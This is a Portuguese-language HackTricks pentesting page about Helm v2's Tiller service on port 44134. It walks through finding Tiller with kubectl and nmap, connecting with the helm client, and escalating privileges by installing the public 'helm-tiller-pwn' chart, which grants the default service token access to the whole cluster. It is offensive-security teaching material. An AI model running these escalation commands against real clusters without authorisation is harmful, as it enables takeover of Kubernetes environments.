mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-24 20:13:37 +00:00
86 lines
5.3 KiB
Markdown
86 lines
5.3 KiB
Markdown
|
{% hint style="success" %}
|
||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary>Support HackTricks</summary>
|
||
|
|
||
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
|
||
|
</details>
|
||
|
{% endhint %}
|
||
|
|
||
|
|
||
|
# Informações Básicas
|
||
|
|
||
|
Helm é o **gerenciador de pacotes** para Kubernetes. Ele permite empacotar arquivos YAML e distribuí-los em repositórios públicos e privados. Esses pacotes são chamados de **Helm Charts**. **Tiller** é o **serviço** **executado** por padrão na porta 44134 oferecendo o serviço.
|
||
|
|
||
|
**Porta padrão:** 44134
|
||
|
```
|
||
|
PORT STATE SERVICE VERSION
|
||
|
44134/tcp open unknown
|
||
|
```
|
||
|
# Enumeração
|
||
|
|
||
|
Se você puder **enumerar pods e/ou serviços** de diferentes namespaces, enumere-os e procure aqueles com **"tiller" no nome**:
|
||
|
```bash
|
||
|
kubectl get pods | grep -i "tiller"
|
||
|
kubectl get services | grep -i "tiller"
|
||
|
kubectl get pods -n kube-system | grep -i "tiller"
|
||
|
kubectl get services -n kube-system | grep -i "tiller"
|
||
|
kubectl get pods -n <namespace> | grep -i "tiller"
|
||
|
kubectl get services -n <namespace> | grep -i "tiller"
|
||
|
```
|
||
|
Exemplos:
|
||
|
```bash
|
||
|
kubectl get pods -n kube-system
|
||
|
NAME READY STATUS RESTARTS AGE
|
||
|
kube-scheduler-controlplane 1/1 Running 0 35m
|
||
|
tiller-deploy-56b574c76d-l265z 1/1 Running 0 35m
|
||
|
|
||
|
kubectl get services -n kube-system
|
||
|
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
|
||
|
kube-dns ClusterIP 10.96.0.10 <none> 53/UDP,53/TCP,9153/TCP 35m
|
||
|
tiller-deploy ClusterIP 10.98.57.159 <none> 44134/TCP 35m
|
||
|
```
|
||
|
Você também pode tentar encontrar este serviço em execução verificando a porta 44134:
|
||
|
```bash
|
||
|
sudo nmap -sS -p 44134 <IP>
|
||
|
```
|
||
|
Uma vez que você o tenha descoberto, pode se comunicar com ele baixando o aplicativo cliente helm. Você pode usar ferramentas como `homebrew`, ou olhar na [**página oficial de lançamentos**](https://github.com/helm/helm/releases)**.** Para mais detalhes, ou para outras opções, consulte [o guia de instalação](https://v2.helm.sh/docs/using\_helm/#installing-helm).
|
||
|
|
||
|
Então, você pode **enumerar o serviço**:
|
||
|
```
|
||
|
helm --host tiller-deploy.kube-system:44134 version
|
||
|
```
|
||
|
## Escalada de Privilégios
|
||
|
|
||
|
Por padrão, **Helm2** foi instalado no **namespace kube-system** com **altos privilégios**, então se você encontrar o serviço e tiver acesso a ele, isso pode permitir que você **escalone privilégios**.
|
||
|
|
||
|
Tudo o que você precisa fazer é instalar um pacote como este: [**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn) que dará ao **token de serviço padrão acesso a tudo em todo o cluster.**
|
||
|
```
|
||
|
git clone https://github.com/Ruil1n/helm-tiller-pwn
|
||
|
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
|
||
|
/pwnchart
|
||
|
```
|
||
|
Em [http://rui0.cn/archives/1573](http://rui0.cn/archives/1573) você tem a **explicação do ataque**, mas basicamente, se você ler os arquivos [**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml) e [**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml) dentro de _helm-tiller-pwn/pwnchart/templates/_ você pode ver como **todos os privilégios estão sendo dados ao token padrão**.
|
||
|
|
||
|
|
||
|
{% hint style="success" %}
|
||
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary>Support HackTricks</summary>
|
||
|
|
||
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
|
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
|
||
|
</details>
|
||
|
{% endhint %}
|